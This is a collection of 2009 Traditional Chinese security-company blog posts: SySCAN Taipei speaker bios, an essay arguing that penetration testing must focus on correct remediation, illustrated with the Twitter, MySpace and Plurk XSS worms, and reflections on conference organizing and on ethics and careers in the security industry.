Fuzzing大師Charlie Miller是近年資安界的新紅人:CanSecWest的Pwn2Own 2008/2009兩屆冠軍)(2009年繁體中文報導:Pwn2Own駭客大會Safari及IE 8首日就被攻陷、2008年繁體中文報導:PWN2OWN大賽,僅 Linux 全身而退2009年簡體中文報導:Pwn2Own黑客大赛冠军:Mac比Windows安全2008年簡體中文報導:PWN2OWN大赛,仅Linux全身而退)。Charlie似乎什麼都駭,包含Mac、iphone、android都逃不過他的fuzzing技術。近兩年內,Charlie在各大駭客年會上都有給演講,包含:Charlie並著有以下書籍:「The Mac Hacker’s Handbook」、「Fuzzing for Software Security Testing and Quality Assurance」、「Open Source Fuzzing Tools」等。

Justine Osborne(BlackHat、DEFCON)
Justine Osborne是iSEC Partners的資安研究員,專精應用程式安全,著重於Web應用程式之滲透測試,code review,以及安全的程式開發原則。她也致力於自己的獨立資安研究,並常在各大國際資安年會上演講,近期之演講有:
BlackHat 2008, Living in the RIA World: Blurring the Line Between Web and Desktop Security
DEFCON 2008, Living in the RIA World (Paper / 投影片 / Video)

Lukas Grunwald(RFID Hacking祖師)Lukas目前是德國DN-Systems Enterprise Internet Solutions GmbH公司的CTO,也擔任該公司駭客實驗室的首席。Lukas在資安有15年以上之經驗,專精無線與有線網路安全,資安鑑識,資安稽核以及active networking等技術。Lukas號稱是去年RFID講師Adam Laurie的老師,為研究RFID安全之祖師,他研發並公開之RFDump工具為最早之RFID攻擊工具,他並在BlackHat 2006會上做全球首度示範--如何拷貝RFID護照(繁中報導:[ZDNET]研究員:電子護照安全堪慮),簡中報導:智能卡联盟称电子护照复制没有安全风险BlackHat 2006講義PDF)。其實Lukas早在BlckHat 2004,就已經給了精彩RFID演說並公佈工具,故稱為RFID攻擊之祖師,當之無愧。其他國際級資安會議不說,光是BlackHat,Lukas就於以下年次擔任過講師:
BlackHat 2004, RF-ID and Smart-Labes: Myth, Technology and Attacks(PDF / 工具)
BlackHat 2006, New Attack RFID-systems and Their Middleware and Backends (PDF)
BlackHat 2008, Hacking and Injecting Federal Trojans (PDF / Video 1 / Video 2 / MP3_A / MP3_B)

Matt Conover "Shok"(RSA、SANS、CanSecWest)
外號"shok",是Symantec Research Labs之首席工程師,也是w00w00團體的領導者。Matt於1999年,發表了全球第一篇關於Windows heap overflow之paper,在該領域堪稱全球第一交椅,Matt也曾擔任 RSA、CanSecWest、SANS與XCon研討會講師。Matt目前為SySCAN之評審委員之一,去年有來台灣給演講,深受好評。

Stefan Esser(PHP安全第一人)
在資安圈,Stefan被稱為「PHP安全第一人」。他於2002年加入PHP核心開發團隊,除了致力開發PHP引擎核心之外,也負責研究PHP安全問題。在更早時,Stefan發佈了許多資安弱點研究,包含在CVS,Samba,OpenBSD與IE內的弱點。2003年,Stefan是第一位利用緩衝區溢位漏洞,將linux灌進全新並完好之XBOX內,並開機成功。2006年他創立hardened-PHP計畫,後來於2006年發展成Suhosin PHP Security System。

Marc Schönefel(BlackHat)
Marc Schönefeld於80年代即利用一台Commodore 64,一台卡帶機與一本6502的書,開始了他的hacking生涯。他於2002年開始於各大國際會議演講,主要講JDK與JEE的安全性,例如:Black Hat 2002的「Security Aspects in Java Bytecode Engineering」,Black Hat 2003:「Hunting Flaws in JDK」等。在銀行做IT十年後,Marc加入了一家OS廠商,負責資安的研究與事件的應變。有空的時候,他追他的狗,虐待他的WII,找全世界最好吃的炒麵,探索無止盡的開放源碼世界,以及聽Ennio Morricone的音樂。

Ben Nagy(Infosecurity, Ruxcon)

Ben Nagy是COSEINC的研究員,最近致力於Word之binary格式研究,以及如何將成果運用於他開發的Metafuzz--一套用ruby寫的fuzzing framework。Ben常於各資安會議演講,包含Infosecurity以及Ruxcon等。Ben最近發表的論文包括:「SEH security changes in XPSP2」與「Generic Anti-Exploitation Technology for Windows」等。Ben之前為eeye之研究員。

Fyodor Yarochkin(其實會講中文的老俄)

Fyodor經常擔任各國際駭客年會之講師,包含BlackHat 2001 HK、BlackHat 2001 Singapore、BlackHat 2002、Ruxcon 2003、XCon 2003 / 2006、HITB 2004 / 2005、SyScan 2005 / 2008、Bellua 2005、VNSecurity 2007、SySCAN TW 2008、OWASP Asia 2008、Deepsec 2008、以及Coscup 2008。他於頂尖資安學術會議與地下雜誌皆有重要文章發表,包含Usenix Conference與Phrack Magazine(最具影響力之地下駭客雜誌)。Fyodor並為Snort最早的開發者之一,目前仍為Snort FAQ的維護者。Fyodor為XProbe的創辦人,有10年以上Web滲透測試經驗,並與Wayne在同一實驗室,為台大電機博士班候選人。

Jeremy Chiu "Birdman"鳥人

阿碼科技X-Solve實驗室首席研究員。Birdman利用其所研發之ArchonHackAlert技術,長期監控亞洲所有網站被掛馬之情況,專長各種惡意程式分析與抗毒技術。由於同時具有人鳥雙免疫系統,Birdman本體也是百毒不侵,在H1N1病毒威脅之年代,birdman為進化最完美之人鳥合一、人機合一之毒類終結者。唯鳥類有飛行之考量,其基因含控制體重因子,長期造成birdman體重無法上升之困擾。

Thomas Lim(SySCAN大會主席)
Thomas Lim是COSEINCSySCAN的創辦人兼CEO,之前則於新加坡最大IT服務公司擔任資安首席。其間,他對於由資安廠商舉辦之大小資安會議及研討會,淪為廠商之業務推銷活動,深感遺憾,於是於2004年創辦SySCAN為中立之資安技術年會,並強調前瞻性之資安技術。今天,在SySCAN邁入第六屆時,SySCAN已成為資安圈最具有影響力的會議之一。COSEINC則為一家位於新加坡之資安研究公司,在2006年首度公開「藍色藥丸」(Blue Pill)--全球第一支以VM為基礎之rootkit後,COSEINC便聲名廣播,為資安圈大家熟悉之尖端研究公司。

Wayne(SySCAN台灣主席,阿碼科技創辦人)

Wayne為阿碼科技創辦人兼執行長,國際開放Web軟體安全計畫 (Open Web Application Security Project, OWASP)全球會議委員以及台灣分會會長。Wayne專攻資安領域,發表多篇得獎學術論文,多篇有超過100篇引述,並曾為RSA、WWW、PHP、SySCAN、OWASP等大型國際會議講師。阿碼科技(Armorize)為亞洲最專業之Web資安公司,研發整合性解決方案Armorize Appsec Suite,包含源碼檢測平台CodeSecure,Web掛馬監測平台HackAlert,Web應用程式防火牆SmartWAF,以及惡意程式檢測系統Archon等產品,行銷全球。


聯絡方式:thomas在syscan點org或hackday在armorize點com

詳細內容與報名方式請見SySCAN官網:http://syscan.org/Tpe/taipeiconference.html

繼續閱讀全文...

2009/5/17

No Tech -- 2

剛好最近有一些事情發生,不然我其實都是掛著"外出取材"的狀態。

事情發生了,總是多多少少造成別人的困擾,而這些不滿都能理解。
技術圈子所提出的看法,總該有佐證說明,不需要受到可被操作的資訊影響,尤其是本質上差很多的東西,大家可不要變成口水專家。

在上一篇No Tech -- 1中,有長輩酸說"高道德公司"云云,我認為這不但沒有長輩風範,也沒有客觀的看待這個想法。
資安的技術部份,有很大一塊的灰色地帶,誘惑也沒少過,有很多的遊戲規則其實是靠自己摸索,產業的態度則決定了這些人在面臨就業時,是否被排擠到地下的可能。
事實上,我剛好就這次事件來觀察公司的態度;外界負面的聲音,說沒有漣漪是虛偽的,但同時也是個機會,讓公司成長為容錯的環境,而這樣的環境,我個人以為在資安工作尤為重要。

公司從過去聆聽資安工作者的聲音,到調整適合的工作方法,最近,更願意實質地投入資源,與內部溝通,以滿足技術人才知識需求。
這樣的一個工作環境在IT業都是難得的,更何況是一家能提供軟體又提供服務的資安公司。

聯絡方式:
Kuon (kuon在armorize點com)

繼續閱讀全文...

2009/5/9

Plurk蠕蟲、Twitter蠕蟲、MySpace蠕蟲與911於管理面之啟示:滲透測試的新觀念,讓軟體重生吧!

(By Scott Hudson under Creative Commons "BY:")

今天好幾件事讓我有感而發。最近由於一方面阿碼有幾位從事滲透測試多年的朋友加入,我們重新組織了ASF(Armorize Special Forces)團隊,一方面剛好看到了幾篇最近大家寫的滲透測試文章,讓我也想寫一下我們對於滲透測試的看法。

首先我們來看滲透測試的定義。滲透測試比較傳統的定義,簡而言之,就是由資安專家模擬駭客之攻擊,找出安全漏洞,評估風險等級與建議處理之優先順序。但是近幾年,滲透測試有了新的思維與新的思考模式。

以網站安全來說,在傳統的思考邏輯中,防守方式因為不熟悉駭客攻擊之手法,因而無法做好防守。然而這幾年經過OWASPWASC,以及各國指導單位如台灣研考會資策會技服中心軟協等大家之努力,大部分防守方已經很清楚威脅之來源。然而威脅依然沒有解除,網站還是天天被駭,這問題到底出在哪裡?難道守方比攻擊者笨嗎?

[911事件]

在911攻擊事件中,美國被住在沙漠山洞中之賓拉登團體直接攻擊心臟,擊毀了全國最重要的兩棟大廈,裡頭盡是美國之菁英。難道美國各情報單位不了解賓拉登所計畫之攻擊手法?難道住在沙漠山洞中之賓拉登團隊,比起美國各菁英特種部隊,擁有更好的技術?更先進的科技?更龐大的資源?更優秀的人才?如果沒有,美國又早知道攻擊手法,為何無法有效阻擋攻擊,避免911事件之發生?

這個情況與現今資安狀況剛好相同。如果沒記錯,Cross site scripting (XSS,跨腳本攻擊漏洞)約於1996年正式被定義,SQL injection(SQL注入漏洞)則約於1998年被定義(rf-puppy? meer?)。這些都是很老的漏洞了,然而一直到今天,我們還一樣在處理相關漏洞。這幾天公司幾位同事討論讀書會之成立與規劃,fyodor直接說,裡頭一定要有跟Web漏洞一點關係都沒有的hacking,因為任何跟XSS/SQL有關的研究,都「無聊至極,讓人想死。」fyodor說:「拜託來些跟internet與Web都無關的好嗎?」

沒錯,不論是buffer overflow(緩衝區溢位)或是XSS/SQL或是ARP Poisoning/spoofing,對於已經為了工作而處理了十年的我們來說,有時真的是............。上述這些都是超過十年的老攻擊,三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲(這裡這裡這裡),不但本質上沒多大差異,也大都是年輕人在玩的,進入資安比較久的人,早就不玩了(可憐苦命的我),或像NMAP作者fyodor v.於去年美國Black Hat在台上公開的說XSS是「很娘的東西」,贏來台下一陣掌聲。

可是為何在2009的今天,仍然對於守方來說,仍是很大的威脅?

原因是這是一場不對等的戰爭,攻擊雖難,防守更難。911事件中,攻擊方贏是贏在攻擊之後。攻擊結束後,攻擊方可以去渡假三年,可是美國卻要在每一班國內班機,每一場公眾聚會,每一次中型以上活動中,都增加安檢措施,對於整個邊境做27*7*365的防守,這些措施所提升的社會成本非同小可。賓拉登的攻擊方式很容易了解,就像XSS/SQL/CSRF一樣,但是並不容易防守。美國邊境很長,敵在暗我在明,又需要考慮任何防守措施所帶來的社會成本,在不知敵人將於何時進攻何處之情況下,防守所需要思維的面象,不是懂得攻擊就夠的!

[Twitter蠕蟲]

又以這次Twitter蠕蟲為例,Twitter團隊經過四次修復,都宣稱已經將漏洞修改好,但是其實並沒有修改對。這次Twitter蠕蟲也在WASC的mailing list上掀起一些小戰爭。看來已經是全球最大牌的資安研究員之間,仍無法取得共識,對於XSS,怎樣算是最好的修改方式?
(上次guo-rung問得很好,我也一直沒空回答。事實上以PHP中的XSS弱點為例,大家常推薦的htmlentities()就不是對付XSS的最佳字串處理函式,因為htmlentities()只是做到html-safe而已,並沒有tag-safe或script-safe。譬如如果不安全的字串出現在tag中或<script>中,htmlentities的處理就無效了。)

在這個事件中,攻擊手法很簡單:XSS,漏洞發生在程式哪一行也已知,但是多次修補卻沒有修對。這是為何我深深覺得其實資安專家都需要同時具備技術與管理方面之經驗。在許多防守之措施中,投資報酬與資源利用皆為重要之考量,在滲透測試或任何資安投資中亦是如是。今天的滲透測試,早已非僅止於「偽駭客攻擊」之執行,主要原因有二:第一,攻擊或找出漏洞,並不代表資安的提升;第二,執行之資安團隊所花之時間,直接轉價變成客戶之成本,故資安專家之時間,不能只花在模擬駭客攻擊上。

[Plurk蠕蟲]

今天我身體不適蹲在家中,朋友請我幫忙改他的blog與Plurk的架接,看著朋友寫的程式突然覺得很奇怪,感覺Plurk架構上有漏洞。於是在約15分鐘內,我沒有利用任何滲透測試工具(Burp/Paros/OWASP Webscarab之類),連"view source"都省了,註冊了我的第一個Plurk帳號(armorize被誰拿走了?另外不用follow我,我的Twitter在弄完蠕蟲後也早荒廢了),然後直接對照朋友的程式就寫了一隻蠕蟲,沒有幾行,連javascript都不用,跑起來還真的work,趕快Google查一下有沒有Plurk的聯絡方式可以把蠕蟲給他們。結果發現Google排名第一的連結告訴我,原來早在四月出,Twitter蠕蟲爆發前幾天,Plurk就公開徵求大家幫忙找弱點,大家也幫忙找了不少。一共92篇的留言,大家真的很積極;另一方面,首席工程師amix的blog上,也有場小戰爭,與當時Twitter蠕蟲造成WASC成員看法不同一樣,大家對於如何修改,有著不同的意見。

我說這麼快寫一隻蠕蟲,並不是說我們很厲害;這些蠕蟲這幾年大同小異,沒多大變化,相信很多本blog讀者都能比我寫得更快,找得更多(當然,等對方修完後也會公開讓大家參考)。但是重點是,找到漏洞後呢?如何有效正確的修補?這次發現的Plurk漏洞為全面性的,amix表示將需要多一些時間做全面性的改版,跟我預期的一樣。這就是我想說的:攻擊難,但是防守更難。

[「駭」得更安全?]



去年OWASP美國年會於九月在紐約舉辦,在開場中,OWASP的主席,也是Aspect Security的創辦人與CEO Jeff Williams 說道(上面影片約7:25時):

『One thing we can do, is we can get our priorities straight.』
『我們該怎麼做?我們需要把我們的優先順序弄對』

『Many organizations spend most of their app security budget on "hacking," doing pentesting and scanning.』
『很多單位把他們大部分的資安預算花在 "駭" "hacking"上,也就是做滲透測試跟掃瞄』

『Now, there's nothing wrong with those things, they're important, but we're not going to hack ourselves secure』
『這個沒什麼錯,這些工作是重要的,但是我們沒辦法把自己「駭」得更安全

『We don't prioritize by what tools can find, but by what matters』
『我們不應該由工具能找什麼,來決定優先順序,我們應該依照什麼是重要的來排』

Jeff的公司Aspect Security沒有生產產品,是一家純顧問公司。既然是顧問公司,為何要質疑滲透測試?我認為他質疑的是舊的,僅限於『偽駭客攻擊』的滲透測試觀念。那怎麼算是一個好的滲透測試團隊?滲透測試跟黑箱與白箱的掃瞄工具,以及跟WAF(Web應用程式防火牆)比起來,又該如何選擇?

在討論這個問題時,我們可以把問題大致上分為:人工vs.工具、黑箱vs.白箱以及偽駭客攻擊vs.白帽協助防守等三方面來看。

2007年我們在台灣第一次舉辦2007 OWASP亞洲年會時,我費了好大一番勁,邀到了WhiteHat Security的創辦人兼CTO Jeremiah Grossman,他是XSS一書的作者,並希望他講一些新的滲透測試觀念。於是他於台北首次演講『商業邏輯錯誤』,他去年在美國Black Hat 2008年會上,其實講的東西很類似,台灣大家賺到了。因為那時我在推展我們的源碼檢測工具的過程中,就發現大家對於人工vs.工具之比較,比較模糊。簡單的來說,Jeremiah當年所示範的『商業邏輯錯誤』,就是工具所無法找到的漏洞型態。去年OWASP亞洲年會,我邀到了從印度來的KK,也是講一樣的東西。但是重點不是工具與人何者能找哪些漏洞,何者找的比較好。我們公司同時研發自動源碼檢測工具,同時有滲透測試團隊,很多人當時有問,不衝突嗎?當然一點也不衝突。

[人工vs.工具]

人工vs.工具的比較,重點在於,人每做一天,就要算一天的工資,而工具是可以無限制的重複一直使用。所以說,工具雖然不能找到所有形式的漏洞,但是工具找漏洞有四大好處:

A. 可以無限制重複使用,找到漏洞的成本相對低。
B. 工具可以與開發流程、軟體生命週期、以及公司內部程序結合,因此很多公司要通過各種認證,需要在程序中結合工具。我沒說通過認證就一定做好了資安,但是大國如美國,認證是一定得過的。
C. 因為可以重複使用,故可以每天或甚至每小時使用,提早找出漏洞,降低修補成本並縮短資安空窗期。
D. 工具對於其所擅長找的弱點種類,可以很穩定並且無失誤的掃瞄大規模的系統,人則可能有失誤,例外時間有限,因此在涵蓋率上,工具有優勢(我們常協助客戶掃上百萬行的程式,如過用人工,要如何用眼睛看?)

但是人工具有以下優點,是工具所永遠沒有辦法取代的:

A. 不只是邏輯性的錯誤,還有一堆無線、架構、設定、與新型的各種漏洞,只有靠人工能找。工具只能掃瞄很成熟(很無聊)的漏洞,例如OWASP Top 10中的XSS與SQL injection等。
B. 攻擊是一種藝術,人才有這種嗅覺,有時看一個人有幾年的經驗,看猜密碼的能力就知道了。這種敏銳度,很難解釋,人腦是很複雜的,其威力遠勝過任何工具。
C. 有能力的滲透測試團隊,可以協助修改程式。我說過,找漏洞雖難,正確的修改更難。

在滲透測試執行的過程中,專家們往往都會拿出自己經年累月累積的一套工具組,透過工具之上述優點,配合人工的判定與智慧,以期提供最優質之服務給客戶。但是如果您是買方,結果拿到的報告中,大部分都是自動工具可以掃瞄出的漏洞,那麼你可能沒有讓您聘僱的滲透測試團隊,做最有效率,投資報酬率最高的發揮。因為在工具就能找到的部分,其實可以由您自己掃瞄,提早找到漏洞並降低修補成本。要記得國內滲透測試通常是一年做一次,滲透測試中才找到的漏洞,很可能已經存在多時了--如果提早自己使用工具,則可以縮短資安空窗期。我們這些資安顧問的時間,希望是花在幫您找尋工具所無法找到的如邏輯性錯誤等漏洞,或花在協助您正確的修補漏洞上面。

[黑箱vs.白箱]

Wikipedia上的定義,將滲透測試(penetration testing)分成黑箱(blackbox)與白箱(whitebox)兩種。簡單的說,黑箱就是很像駭客一樣,在沒有比外在駭客更多資訊的條件下,由滲透測試團隊執行『駭客任務』。這種滲透測試是大家都很喜歡做的,因為做滲透測試就像是解一個謎題一樣,除了技術外,靈感,嗅覺,經驗也都是重點--駭客技術永遠是一套藝術。但是就像我之前介紹DEFCON 2008上Chema的Blind SQL injection手法一樣,我們假設執行的過程中有以下步驟:

A. 手動找出Blind SQL injection漏洞
B. 使用Chema的工具,利用blind SQL injection暴力找出table名稱或欄位名稱
C. 進一步從table中成功取得管理帳號與密碼之hash
D. 利用高階機器跑暴力程式,成功將hash反解出密碼
E. 示範利用正確之帳號與密碼登入,整個偽駭客攻擊至此結束

這些步驟,執行時甚為精彩,不但資安專家樂於其中,客戶也常常看得拍掌叫好。可是問題有兩個(尤其在不景氣的經濟下):

A. 找到漏洞代表提升資安品質了嗎?Blind SQL injection在哪個程式的哪一行?如何正確修復?
B. 如果有效利用專家時間,否於步驟(A)後,就應該直接協助修復?因為後續B-E所需的時間,可能遠超過修復所需的時間。

這就是Jeff說的:『但是我們沒辦法把自己「駭」得更安全』之精髓!

在白箱測試中,不論是工具或是人工,資安專家或工具由於擁有比一般真的駭客豐富許多的資訊,例如系統架構文件或程式碼等,給了資安專家或自動工具莫大的優勢,能更有效率地找出漏洞,並協助修補之。這就回應了我前面說的,在911事件中,防守遠難於攻擊,因為防守需思考成本等多種面象。

在這方面,白箱更能有效率、低成本地提升資安水平。擁有十年以上滲透測試經驗的fyodor曾說,黑箱滲透測試,其實是很沒有效率的,通常發生於雙方第一次合作,互信基礎不足,或買方有特殊原因或規範,無法提供白箱資料時。合作久,擁有充分互信的雙方,一定會開始做白箱的滲透測試,或叫『secuity review』也許比較恰當。在工具方面,根據最新的一份Gartner報告指出,2008年,白箱工具的市場已經後來居上,超過黑箱了。整個201M美金的黑白工具市場中,有126.9M是白箱,約佔63%。白箱工具去年市場成長了35%,相較去年只成長了6.5%的服務市場(包含滲透測試,code review等等)來說,相對高出很多。整個2008資安服務市場則為197M美金,略低於工具市場的201M。

[偽駭客攻擊vs.白帽協助防守]

我在這整篇中要說的重點,就是『但是我們沒辦法把自己「駭」得更安全』,一份很完整並具有風險排列的滲透測試報告,還沒有降低資安風險。Why?因為上面的漏洞只要沒有正確修補,這份報告就沒有實際提升您的資安水平。三年前19歲的Samy,上個月17歲的Mikeyy,都可以很快地寫出蠕蟲;可憐的資安專家由於每天工作就是這個,可能更快些,但是雖然不懂攻擊技術,一定不能做好防禦,但是從Plurk/Twitter/MySpace蠕蟲到911,我們看到的是,威脅已經清楚,攻擊已經老到無聊的地步,但是有效的防禦仍是那麼的困難!而我卻很驚訝的發現,一份最近刊登的『滲透測試』文章,隻字沒探討到防守面或修改面的觀念,程序,動作或經驗!成功找出弱點,只是提升資安水平的第一步,不是最後一步。好的資安團隊,必須研究修改漏洞時的各面象。譬如我們發現某json介面全部都有CSRF漏洞,但是該json介面已經發佈並廣被使用,修改CSRF需要更動介面規格,這會使所有依賴此介面之其他系統失效。這時該如何做?如果實在不能修改軟體,那麼其實WAF處理CSRF非常直覺,自動加上one-time token就好了,那麼我們是否改用免費(modsecurity)或商用WAF?我們以後在開發流程中,要建立哪些機制或程序,來避免類似漏洞之產生?在不影響現有系統之營運與效率下,正確並快速地協助漏洞的修改,並建立相關制度避免未來漏洞之產生,再再考驗著資安顧問團隊之能力與經驗。軟體是人類偉大的發明,改變了全人類的生活,帶來了科技的革命。但是為何軟體有這麼多的不安全性?為何找到漏洞了卻這麼難修?難道是這整個模式從一開始就不對嗎?目前的軟體模型出了錯?如果要建立secure-SDL來避免漏洞之產生,那麼在agile、scrum、extreme、adaptive...各種不同開發methodology之下做secure-SDL,有何不同?成熟度模型如何建立?

希望除了在『駭』方面的探討外,能多些在『修復』或進一步『避免軟體漏洞』之研究,讓軟體重生,不要永遠都當壞事的罪魁禍首。

作者 Wayne 為阿碼科技CEO

後記
最後我要抱怨一下。當然大家都不想弄這些XSS/CSRF/SQL-i,但是這是我們的工作沒辦法,這些漏洞是現在客戶最苦惱的。可是怎麼苦工都我在做勒?SS7交換機、iphone、android、rfid、LLVM/ASA,大家玩得不亦樂乎,讓我在旁邊流口水... 可是改天要你們來寫blog,換我週末來玩這些!

繼續閱讀全文...

2009/5/8

關於2009 SySCAN前瞻資安技術年會之舉辦

SySCAN又要開辦了,回想去年SySCAN,辦得真的很過癮,原本預計只有80個人,結果來了這麼多人,事後也收到大家的email,真的非常謝謝各位的支持!SySCAN是很高品質的駭客年會,所以去年Thomas(COSEINC)表達希望把SySCAN引進台灣時,我一口答應支持他。去年辦得只有一個「爽」字可以形容,大會虧了四十多萬,阿碼跟COSEINC對半拆,雖然虧錢,但是本來雙方就有共識要做些回饋社群的事情,也有編列預算,這些對公司都是小錢,大家的支持才是最難得的,所以回想去年,內容好,聽眾好,真的是很過癮!(照片與內容可參考這裡:http://syscantaiwan.blogspot.com

今年Thomas說COSEINC可以自負盈虧,阿碼則仍然同為主辦單位,協助挑選講師,定義會議方向與執行活動,虧損獲盈餘的部分則全部由COSEINC負責。今年也改由COSEINC直接處理報名收費與開立發票部分。我們當然很感謝COSEINC這樣的決定,但是也擔心COSEINC的負擔會太大。今年公佈的門票為每人3000NTD,雖然不是我決定的,也比去年貴,但是我覺得還是很合理的。今年新加坡部分(比台北早一個星期,然後講師飛來台灣)今年一票13,478台幣,Black Hat則是46,062台幣,都很貴,出國又要加上時間,機票,住宿等。我們看SySCAN,是幾乎與Black Hat同等級的資安會議,台北還比新加坡多了一天的「害翻天Hack Day。」我們覺得COSEINC已經很用心壓低票價,希望各位今年能繼續支持!其實我們辦這些會議主要的目的,還是回饋社群。SySCAN去年虧40萬,OWASP去年虧了約50萬,台灣的資安會議要賺錢?那真的很厲害!台灣不比美國,資安社群很小,要願意投資這麼多時間與人力,辦出優質的駭客年會,這要對資安很有熱情的團隊才會願意投入。如果是要賺錢的話,以阿碼來說,產品已經在全球大賣,一場會議能賺多少錢?一個人3000NTD,300人也才90萬,即使不需要場地成本,食物成本,講師機票,住宿,用餐,招待等成本...90萬以阿碼來說,賣一套CodeSecure就不只了,不用大家花幾個月的時間與心血來辦一場會議 :) 但是同時,其實這些經費對阿碼與COSEINC來說都是小錢,能把會議辦好,以及大家的支持,才是最重要的。我們覺得大家真的幫助了我們太多,能回饋各位的地方,我們會盡力來做。

我個人的部分,由於我現在擔任OWASP總部的全球會議委員,負責協助舉辦OWASP一年三次的大會:美國、歐洲與亞洲,再加上阿碼的工作,本身已經真的太多事情了。SySCAN是非常高品質的駭客會議,能來台北舉辦並自負盈虧也處理許多如報名收費等事務,我當然很高興,讓我也有更多的時間與資源同時把今年OWASP辦好。加上今年講師群真的是有夠強,又決定加一天的Hack Day,讓社群多些時間交流,每天想到就熱血沸騰,也很謝謝COSEINC的努力!

大會議程與講師介紹的中文部分,這幾天是我把工作拖到了,希望今天就能公佈,請各位拭目以待。

另外SySCAN「害翻天Hack Day」徵求講師,CFP請見:
http://armorize-cht.blogspot.com/2009/04/syscan-hack-day.html
http://armorize-cht.blogspot.com/2009/05/no-tech-1.html

大會官方blog: http://www.syscan.org
大會官網:http://www.syscan.org

去年照片:

繼續閱讀全文...

2009/5/3

No Tech -- 1

打從公司的非官方部落格設立開始,我就知道我不會發表有關技術性的文章,我想探討更多隱性的議題,所以很抱歉,本篇 “無料”。

適逢今年的 SySCAN Taiwan 籌備中,去年辦得很成功,今年則嘗試舉辦了一個 Hacker Day 的活動,事實上辦這樣的活動並不容易,需要很多因素才會出色。

在討論一個資安會議的出色因素前,我想先討論會議本質,很多投稿者沒有釐清會議本質就來投稿,就算是躺著都會被打槍 :) 試問:
1. 投稿者是否過去參加相關的會議, 了解會議所需素材的方向?
2. 投稿者是否閱讀或閱聽過去相關會議的簡報檔或多媒體檔, 了解內容的技術水準?

如果你把能投 ACM 的論文投去 USENIX, 把能投 DEFCON 的論文投去 IEEE,試想被 accept or reject 的機率孰者為高? 政治正確很重要。

以下是幾個我個人認為的會議因素:
[內容]
1. 當我們把研究分為威脅研究和技術研究的時候,有的會議都收,有的會議偏重純技術。
2. 投稿者是否已 study 相關領域的發表? 有創新的思路或利用方法很重要,或是別人僅僅在討論階段的方法,而你實作工具出來。如果是資料的蒐集整理,新意卻不足,就可惜了。

[技巧]
1. 對我個人來說,演講技巧是最不重要的,正因為身為工科背景,所以可以同理理解,並不是每個技術領域的人都擅長演說,技巧不足,其實掩蓋不了技術本身的璀璨。
2. 當然,好的技巧確實加分;不過,這也和演講者對於聽眾技術背景的定位有關,有時候一個高手的喝采,抵過滿場的掌聲; touch 不到點的發問,才有知音人難覓的感概。

[人才]
丁丁真的是個人才(誤)。

SySCAN 本身募集了相當多的歪果知名講師,其用意是舉辦高質量的技術活動。
SySCAN Taiwan Hacker Day 的用意卻是希望吸引 Taiwan 夠技術水準的職業人士,業餘人士來共襄此一盛事。

以一般資安會議來說,主要的內容提供者還是以業界和學術界為多。
而台灣業界真的有專職設立研究人員或是有研究氛圍的少,畢竟主要還是以產品開發或是技術服務為工作內容,自然產生paper的質與量就有限。
而學術界專注於這麼應用面的研究單位,好像也就這麼幾個,要滿足 Hacker Day 的需求,也是需要讀者們協助本活動的宣傳。


我故意把 '人' 這個因素擺在最後,也用了 SySCAN Hacker Day 做為一個引子,自己作為資安產業一員,我想內視自己心中的吱喳聲 :)

[道德標準]
安全管理作為安全產業的一環,似乎更要求道德標準,而安全技術人員的道德標準水位,似乎一直難以定義。
舉一個某社的口號,"我們公司不錄用會寫病毒的人",當我們更細分:
"我們公司不錄用研究病毒技巧的人"
"我們公司不錄用寫病毒惡作劇的人"
"我們公司不錄用寫病毒賺錢的人"
以上三者,事實上,放在不同組織,其選擇會有不同的集合,適才,適所。

[熱情]
在這個IT產業的一隅,熱情非常重要,資訊和技術變動的非常快,投入於其中是耗時的,時間總是不夠。
我看到了我的幾位同事,很是佩服,身為孩子的爸,有的還不只一個,還可以半夜一兩點討論資安產業的訊息,我想這是真的有熱情的人才做得到的。

熱情也決定你同一類型工作的支撐力道,當你工作中的心情總是愉悅著,偶有壓力卻也算不了苦。
當然,熱情也會 burn out,失去熱情的工作,對某些人來說,連一杯咖啡的時間都不願意等待。

[思考模式]
如果我們將思考模式分為正向思考,逆向思考,跳躍式思考,資安技術從業人員似乎需要更多的非正向思考方式,並要能與正向思考連結之。
很多時候,必須推理分析一個網站結構,網路拓樸,維護者習慣,軟體的設計,邏輯瑕疵…等等。

從業人員也需要一個符合其特質的工作環境,才能適當地與其溝通之。﹙別忘記,媒體總愛型塑這樣的人格特質 :D)

[敏感]
這裡的敏感,指的是在一個大家看起來是無害的事物,能夠察覺是一個 risk,甚至是 vulnerability。
或是從不完整的資訊,能夠歸納出接近事實的結果.

比較實際的感覺,也許玩過 Wargame 的人就能理解,有的時候就是一個 sense,或者該說聯想的程度 :p

[趣味]
趣味對某些人來說就是成就感,哪怕是博君一笑,甚至是 Do Evil.
當然你得先了熟悉你自己,有的人是寫程式寫得好會有成就感,有的人是處在安全產業的攻與防,自有無窮樂趣。

還記得高中的時候寫程式,也是寫遠端遙控程式,寫來自己玩很得意; 也誤擊過小綿羊.exe,變成 SubSeven 的被控端 :(
直到我進入了這個圈子,才確認自己的歸屬,寫程式﹙作/避免)邪惡的事情才有趣,對我而言,並非寫程式本身就有趣; 寫自己想寫的,摸索研究技術上的東西才有趣。

認識的一些朋友似乎也是這樣懵懵懂懂, 招搖撞騙才認識自己更深;年輕的讀者,你找到歸屬了嗎?

[產業]

還記得這個口號嗎? "不錄用會寫病毒的人",換個角度,這些技術人才的就業情況如何了?

"不符高道德標準" -> "往較低道德標準的工作機會發展"
"對資安工作熱情不夠" -> "往非資安工作發展"

還有甚麼可能呢? "不懂資安這個產業"!!

一開始的初衷就是好玩,沒有想到可以以這個混口飯吃,更沒有想過這樣的產業也是有前景的. ﹙無心插柳柳橙汁)
後來才領悟,當你學了一堆密碼學,網路安全課程的時候,人肉市場的供需資訊並不對稱,中間有個 gap 需要被填滿。

將近10年前,我認識 Birdman 的時候,也一起認識了 PK,那時候有好幾位都在研究系統軟體,電腦病毒,軟體破解保護,直到我當兵前當兵後,發現怎麼越來越少同好了,Birdman 跟我說,都去寫軟體了,資安會餓死。

P.S Birdman 現在還是瘦瘦的,還健在 XDD

還有甚麼可能呢? "資安產業規模及其限制"!!

你所會的技術基礎,台灣沒有符合的產業。
過去,你專精 compiler,你可能就會去寫 toolchain;現在,如各位所知道的,我們就有一項產品是用這樣的技術做出來的。
過去,你可能找來找去,不是 SI 就是代理商,因為台灣市場太小,自己做產品很容易餓死 :)
過去,你可能找來找去,不是 anti-spam,就是做 content filter,因為那樣的產品技術門檻相對的低,而且會被視為IT基礎建設,還可以有外銷的市場。

